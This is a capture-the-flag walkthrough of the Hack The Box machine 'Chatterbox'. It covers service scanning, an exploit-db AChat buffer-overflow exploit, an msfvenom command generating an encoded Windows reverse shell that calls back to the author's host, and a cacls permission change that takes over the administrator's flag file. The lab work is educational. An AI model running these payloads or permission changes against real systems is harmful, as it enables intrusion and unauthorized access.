Details

This machine is Chatterbox from Hack The Box

Recon

A simple service discovery scan to start

root@kali:~# nmap -sV -p- -T4 10.10.10.74
Nmap scan report for 10.10.10.74
Host is up (0.036s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE VERSION
9255/tcp open  http    AChat chat system httpd
9256/tcp open  achat   AChat chat system

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1406.48 seconds

User

So I found a potential exploit on exploit-db https://www.exploit-db.com/raw/36025 I needed a new payload

root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

I updated the script to contain the generated payload and also updated the IP to be that of the target

root@kali:~# python 36025
---->{P00F}!

In my listener

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.10.10.74
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.74:49157) at 2019-10-04 13:55:59 -0400

C:\Windows\system32>

A shell connected back

C:\Windows\system32>whoami
chatterbox\alfred

I went to see if I had earnt a flag

C:\Windows\system32>cd C:\Users\Alfred\Desktop
C:\Users\Alfred\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 9034-6528

 Directory of C:\Users\Alfred\Desktop

12/10/2017  07:50 PM    <DIR>          .
12/10/2017  07:50 PM    <DIR>          ..
12/10/2017  07:50 PM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  18,498,043,904 bytes free

C:\Users\Alfred\Desktop>type user.txt
[REDACTED]

And that was user!

System

I weirdly found I was able to browse the Administrators folders

C:\Users>cd Administrator
C:\Users\Administrator>dir
 Volume in drive C has no label.
 Volume Serial Number is 9034-6528

 Directory of C:\Users\Administrator

12/10/2017  02:34 PM    <DIR>          .
12/10/2017  02:34 PM    <DIR>          ..
12/10/2017  07:08 PM    <DIR>          Contacts
12/10/2017  07:50 PM    <DIR>          Desktop
12/10/2017  07:08 PM    <DIR>          Documents
12/10/2017  07:08 PM    <DIR>          Downloads
12/10/2017  07:08 PM    <DIR>          Favorites
12/10/2017  07:08 PM    <DIR>          Links
12/10/2017  07:08 PM    <DIR>          Music
12/10/2017  07:08 PM    <DIR>          Pictures
12/10/2017  07:08 PM    <DIR>          Saved Games
12/10/2017  07:08 PM    <DIR>          Searches
12/10/2017  07:08 PM    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)  18,159,456,256 bytes free

C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 9034-6528

 Directory of C:\Users\Administrator\Desktop

12/10/2017  07:50 PM    <DIR>          .
12/10/2017  07:50 PM    <DIR>          ..
12/10/2017  07:50 PM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  18,159,456,256 bytes free

But I can't read the file

C:\Users\Administrator\Desktop>type root.txt
Access is denied.

So I inspect the permissions on the file and the file

C:\Users\Administrator\Desktop>cacls .
C:\Users\Administrator\Desktop NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
                               CHATTERBOX\Administrator:(OI)(CI)(ID)F
                               BUILTIN\Administrators:(OI)(CI)(ID)F
                               CHATTERBOX\Alfred:(OI)(CI)(ID)F

C:\Users\Administrator\Desktop>cacls root.txt
C:\Users\Administrator\Desktop\root.txt CHATTERBOX\Administrator:F 

So I decided to try and change the permissions on the root flag as I had permissions over the directory

C:\Users\Administrator\Desktop>cacls root.txt /G alfred:F

I checked if it worked

C:\Users\Administrator\Desktop>cacls root.txt
C:\Users\Administrator\Desktop\root.txt CHATTERBOX\Alfred:F 

And grabbed my flag

C:\Users\Administrator\Desktop>type root.txt
[REDACTED]